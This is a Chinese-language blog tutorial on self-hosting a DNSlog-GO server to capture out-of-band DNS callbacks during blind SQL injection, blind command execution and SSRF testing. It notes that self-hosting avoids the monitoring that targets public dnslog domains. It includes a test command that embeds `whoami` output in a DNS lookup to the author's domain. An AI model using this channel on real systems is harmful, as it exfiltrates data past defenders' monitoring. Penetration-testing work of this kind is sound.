Loading... # DNSlog简介 在某些情况下,无法利用漏洞获得回显。但是,如果目标可以发送DNS请求,则可以通过DNS log方式将想获得的数据外带出来。 DNS log常用于以下情况: * SQL盲注 * 无回显的命令执行 * 无回显的SSRF 网上公开提供dnslog服务有很多,比如dnslog.cn、知道创宇、三叶草等等,但是这些提供的域名是固定的,现在一些比较大型的企业已经把这些域名也加入到监控范围之中了。 如果自建一个dnslog服务,就能很好的规避这种情况。 # 需要准备 1. 一个阿里云的域名 2. VPS服务器一台 # 域名解析 在bigwulong.cn中添加添加一个A记录与一个NS记录。其中A记录指向服务器IP地址,NS记录指向A记录的域名地址   # 获取方式 DNSlog-GO使用golang编写的dnslog服务端,自带WEB界面,web可自定义编辑修改美化。兼容Linux,MACOS,Windows等系统。各平台直接下载运行,无需安装依赖,这里以Linux作为示例。 Github地址:[https://github.com/lanyi1998/DNSlog-GO/releases/](https://github.com/lanyi1998/DNSlog-GO/releases/) 本站下载地址(Linux DNSlog-GO 1.5.6版本):[https://resource.if010.com/DNSlog-GO/dnslog-linux.zip](https://resource.if010.com/DNSlog-GO/dnslog-linux.zip) 本站下载地址(MacOS DNSlog-GO 1.5.6版本):[https://resource.if010.com/DNSlog-GO/dnslog-macos.zip](https://resource.if010.com/DNSlog-GO/dnslog-macos.zip) 本站下载地址(Windows DNSlog-GO 1.5.6版本):[https://resource.if010.com/DNSlog-GO/dnslog-windows.zip](https://resource.if010.com/DNSlog-GO/dnslog-windows.zip) # 运行 修改默认的token ```bash [root@localhost ~]# vim config.yaml HTTP: port: 8000 #{"token":"用户对应子域名"} user: { "123456": "logdns" } consoleDisable: false Dns: domain: bigwulong.cn ``` 启动 ```bash [root@localhost ~]# ./dnslog-linux & 2023/07/14 07:09:39 Http Listing Start... 2023/07/14 07:09:39 Http address: http://0.0.0.0:8000 2023/07/14 07:09:39 DNS Listing Start... ``` 查看进程和监听情况 ```bash [root@kr-seoul ~]# ps aux | grep dnslog root 3275 0.0 0.6 714196 6160 pts/0 Sl 07:09 0:00 ./dnslog-linux root 3296 0.0 0.0 112808 976 pts/0 R+ 07:11 0:00 grep --color=auto dnslog [root@kr-seoul ~]# netstat -tnlpu | grep -E '8000|53' tcp6 0 0 :::8000 :::* LISTEN 3275/./dnslog-linux udp6 0 0 :::53 :::* 3275/./dnslog-linux ``` # 测试 Web页面访问测试,<span style='color:red'>需要输入token,这里的token就是config.yaml设置的值</span>  点击复制随机子域名获取到 spmkj.dnslog.bigwulong.cn 使用ping命令 ```bash [root@localhost ~]# ping `whoami`.spmkj.dnslog.bigwulong.cn -c 1 PING root.spmkj.dnslog.bigwulong.cn (127.0.0.1) 56(84) bytes of data. 64 bytes from kr-seoul.if010.com (127.0.0.1): icmp_seq=1 ttl=64 time=0.023 ms root.spmkj.dnslog.bigwulong.cn ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.023/0.023/0.023/0.000 ms ``` 可以看到回显结果  最后修改:2023 年 07 月 14 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 -